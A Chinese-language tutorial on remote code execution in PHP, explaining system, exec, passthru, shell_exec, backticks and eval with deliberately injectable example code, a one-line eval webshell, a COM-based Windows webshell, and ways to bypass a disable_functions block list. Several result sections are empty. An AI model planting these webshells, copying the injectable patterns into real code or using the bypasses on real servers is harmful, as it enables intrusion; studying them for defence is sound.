远程代码执行漏洞总结

远程代码执行是指程序代码在处理输入输出的时候没有严格控制。导致用户可以构造参数包含执行远程代码在服务器上执行,进而获取到服务器权限,是发生在应用程序的逻辑层上的漏洞

0x01 OS命令执行

系统命令执行是指应用程序对传入命令行的参数过滤不严格导致恶意用户能控制最终执行的命令,进而入侵系统,导致严重破坏的高危漏洞。(bash,shell)

shell是系统的用户界面,提供用户与内核交互操作的接口,它接收用户输入的命令并把它送入到内核去执行。实际上shell是一个命令解释器,它的一个重要特性就是它自身就是一个解释型的程序语言。

分类:

1.1 OS本身命令执行
1.2 Web命令执行
1.3 数据库命令执行
1.4 第三方软件命令执行

0x02 命令执行模型

0x02.1 PHP命令执行函数利用

1、system:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型为:

string system(string command,int &return_var)

其中,command是要执行的命令,return_var存放执行命令的执行后的状态

示例代码如下:

<?php
$dir = $_GET["dir"];
if(isset($dir))
{
    echo "<pre>";
    system("net user".$dir);
    echo "</pre>";
}
?>

执行结果为:


上述代码就是把dir这个命令写死了,把net user执行的结果给$dir变量。但是注意一些连接符,管道符如:&,&&,|,||,:等,如果我们输入?dir=| netstat -an

注:|只执行后面的命令,||前后命令都执行。

2、exec:exec函数可以用来执行一个外部的应用程序,函数原型为:

string exec(string command,array &output,int &return_var)

其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var是存放执行命令后的状态值。

示例代码:

<?php
$cmd = $_GET["cmd"];
$output = array();
echo "<pre>";
exec($cmd,$output);
echo "</pre>";
while(list($key,$value)=each($output))
{
    echo $value."<br>";
}
?>

执行结果为:

3、passthru:passthru函数可以用来执行一个unix系统命令并显示原始的输出,当unix系统令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system和exec函数。原型为:

void passthru(string command,int &teturn_var)

其中command是要执行的命令,return_var存放执行命令后的状态值。

示例代码如下:

<?php
$cmd = $_GET["cmd"];
echo "<pre>";
passthru($cmd);
echo "</pre>";
?>

4、shell_exec:执行shell命令并返回输出的字符串,函数原型为u:

string shell_exec(string command)

其中command是要执行的命令。

<?php
$cmd = $_GET["cmd"];
echo "<pre>";
shell_exec($cmd);
echo "</pre>";
?>

5、`运算符:与shell_exec功能相同,通常用于绕过黑名单

示例代码如下:

<?php
$cmd = $_GET["cmd"];
$output = `$cmd`;
echo "<pre>";
echo $output;
echo "</pre>";
?>

执行结果为:

0x02.2 eval注入攻击利用

出来可以利用函数命令注入攻击方式外还可以使用eval注入攻击方式,eval函数会将参数字符串作为php程序代码来执行,用户可以将php代码保存成字符串的形式,然后传递给eval函数执行。原型为:

mixed eval(string code_str)

其中code_str是php代码字符串,通过构造传入eval函数中的全部或部分字符串的内容实现命令注入攻击。

示例代码:

<?php
$cmd = $_GET["cmd"];
echo "<pre>";
eval($cmd);
echo "</pre>";
?>

如果传入的内容为phpinfo();,若传入的是一句话木马<?php eval($_POST[cmd]);?>就可以直接拿shell。

示例结果为:

0x02.3 PHP webshell命令执行防御及绕过方法

0x02.3.1 PHP禁止webshell执行命令防御

PHP的配置文件php.ini里面有个disable_functions =
配置这个,禁止某些php函数,便可以禁止php的命令执行漏洞,例如:

disable_functions=system,passthru,shell_exec,exec,popen

0x02.3.2 PHP webshell命令执行绕过方法

1.黑名单绕过

php能够执行系统命令的函数有:

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,`(反单引号)

根据黑名单中没有的函数,即可绕过。

2.系统组件绕过

只适用于windows,代码如下:

<?php
$command = $_POST[a];
$wsh = new COM('WScript.shell');    //生成一个COM对象
$exec = $wsh->exec('cmd.exe /c '.$command);    //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>

如何防御:直接删除system32下的wshom.ocx文件

2.拓展库绕过

0x02.4 PHP create_function()注入命令执行漏洞

在PHP中使用create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

大爷,赏个铜板呗!